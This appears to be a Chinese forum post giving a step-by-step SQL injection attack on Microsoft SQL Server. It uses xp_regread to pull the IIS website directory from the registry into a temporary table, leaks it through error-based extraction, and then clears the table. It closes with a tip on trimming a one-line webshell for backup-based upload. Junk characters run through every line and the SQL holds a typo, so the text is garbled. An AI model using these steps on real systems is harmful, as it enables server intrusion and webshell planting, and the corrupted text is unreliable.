1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表: L" e; U: S$ U: u8 _# d0 x. O% [
" ]# I: C: H1 p2 ^- G
; l* i& g. v( L. p! ` 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中: Q. }+ _* F+ ~+ f" O/ u
( [6 S6 \0 y. T |/ g4 |
9 T$ t: N+ B5 L9 O; {* {
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段4 z' {. h2 N: T7 F2 \, c
- B" h0 t! }. a6 n
2 m/ S7 A( h v0 W 4、drop table [jm_tmp]-- 删除此表。
; y# a) g* h( b+ B) j2 P, c
7 E( }" M2 U9 K7 r4 @
$ P7 a' {7 B3 X0 V另附上备分专用一句话3 {; }. j' j4 Q" `9 _7 k
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
. f- w4 a2 ~3 m! I% @( s |